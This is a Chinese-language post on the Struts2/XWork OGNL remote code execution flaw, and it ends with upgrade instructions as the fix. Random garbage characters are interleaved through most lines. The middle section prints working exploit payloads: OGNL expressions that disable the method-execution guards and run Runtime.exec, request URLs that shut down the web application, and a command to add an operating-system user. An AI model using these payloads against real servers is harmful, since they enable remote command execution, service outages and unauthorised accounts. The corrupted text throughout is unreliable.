1、struts2漏洞原理
( I( b8 g4 P! Q& y* i$ F/ B% yStruts2是Struts + WebWork。WebWork最终是使用XWork来处理HTTP参数,是通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:
# h' e) ~7 r3 n6 |! s! e! M; [5 j& p?user.address.city=Bishkek&user['favoriteDrink']=kumys% m& U4 X1 P, f
ONGL将它转换为:
0 ?( d1 W A0 c& ?5 W) q6 eaction.getUser().getAddress().setCity(“Bishkek”)/ |/ H% v* X( l% r- g
action.getUser().setFavoriteDrink(“kumys”)
2 |" X' y2 n. P* y6 F$ h T1 ^. E3 F这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()方法来实现的。除了提供getting/setting方法, OGNL 还支持其他更多的用法:
8 k. M5 a4 E" `; E+ U方法调用: foo()7 d. l# ~% ]" |
静态方法调用: @java.lang.System@exit(1)
5 N3 X' @' k/ L$ M构造函数调用: new MyClass()
6 n5 t! L( H; b5 g向上下文变量赋值: #foo = new MyClass()
: L- q; D% ^* A" o7 c! b…
- F- [! r. R7 @& p/ a因为HTTP参数就是OGNL的执行语句,为了防止通过HTTP参数调用一个恶意函数来攻击网站,XWork有下面两个变量来限制方法的执行:' I& Z: L" ]. H g8 A# M
OgnlContext的属性:xwork.MethodAccessor.denyMethodExecution (set to true by default)
! P1 K. B# v% }SecurityMemberAccess 私有属性:allowStaticMethodAccess (set to false by default)8 R2 B5 E; u# {2 T5 P9 _4 ?
为了方便开发者方便的访问变量, XWork提供了下面几个预定义的上下文变量:' R# J6 S' B4 e4 G: X
#application, z) [0 m; G0 s. o4 A
#session3 M- f6 k8 W2 ^$ K
#request
9 H& i9 Y/ M0 Y#parameters7 i: {' r6 e% f( j3 `3 z; e2 U
#attr' V7 l3 e" c9 `2 F Z( f/ B
这些变量代表了服务器端的对象,类似一个map。为篡改这些服务器端的变量,XWork的ParametersInterceptor不允许在http参数中使用#,但是可以使用Java的unicode String 来代替: \u0023。
# D$ z. V4 B* T% Y( O除了上面的上下文变量以外,还有下面更多的变量:0 N& c/ V' J5 p1 T: w' d( V ]
#context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value.! D7 T7 j5 k+ X8 ^: H# Z- ?) Y
#_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution.
/ l2 ^0 y6 V* T3 C8 {7 j- X0 R: v#root
7 ^2 I1 E2 k8 e2 ?+ j( U; p#this
' h) B# s0 t: M#_typeResolver0 }. G1 @9 I% @0 `
#_classResolver
; Y0 t" L* t$ u! E7 ]( G' s# _5 J#_traceEvaluations& B6 a' D6 X4 F8 D6 i" @$ Y3 u; z
#_lastEvaluation
8 ` [. Z; Y& W; v# u; G#_keepLastEvaluation
1 F. h& i! f8 P% l4 t从上面的信息你可能已经看出问题了,我可以修改这些变量的值,然后执行一段恶意的java代码:' L K: B4 P2 `! }& T
#_memberAccess['allowStaticMethodAccess'] = true
2 _/ `% s8 W: B; n# O/ g#foo = new java .lang.Boolean(“false”)
7 @2 C5 X) R7 N& G# S# H#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
# \6 r6 }! |% f, c+ `: r#rt = @java.lang.Runtime@getRuntime(); f4 h3 p5 W4 G# C
#rt.exec(‘mkdir /tmp/PWNED’)
. l1 J! r9 m$ q& v# M4 i另外,你可以使用下面的代码检验一下你的网站是否有漏洞: http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
; i# N1 S5 _* |/ D; ?旧版本的XWork没有属性’allowStaticMethodAccess’ 可以使用下面的URL: http://mydomain/MyStruts.action?(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 g: _2 [: w, [, E y
OGNL处理时最终的结果就是
1 S$ [$ I* ?3 y3 R# pjava.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭( W* n; L4 n" K7 h
类似的可以执行* z# N, F6 P' G
java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以执行任何DOS命令。% \, p, D" T% O- F$ R
2、struts2漏洞解决方法
: E0 i3 |* c0 t8 ?2 g2 d将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4。主要用到以下几个替换掉旧版本的:
" f" b9 g) v( e+ E; u9 j9 s& scommons-lang3-3.1.jar (保留commons-lang-2.6.jar)
4 ]8 z% }. Y4 ?# m9 pjavassist-3.11.0.GA.jar (新加包): W6 R" [' `% w/ {
ognl-3.0.5.jar (替换旧版本)
( K0 A) _$ A, Y! kstruts2-core-2.3.4.1.jar (替换旧版本)7 e2 T1 i/ K" Y
xwork-core-2.3.4.1.jar (替换旧版本)
3 n R4 b+ Y: k* F; W6 w |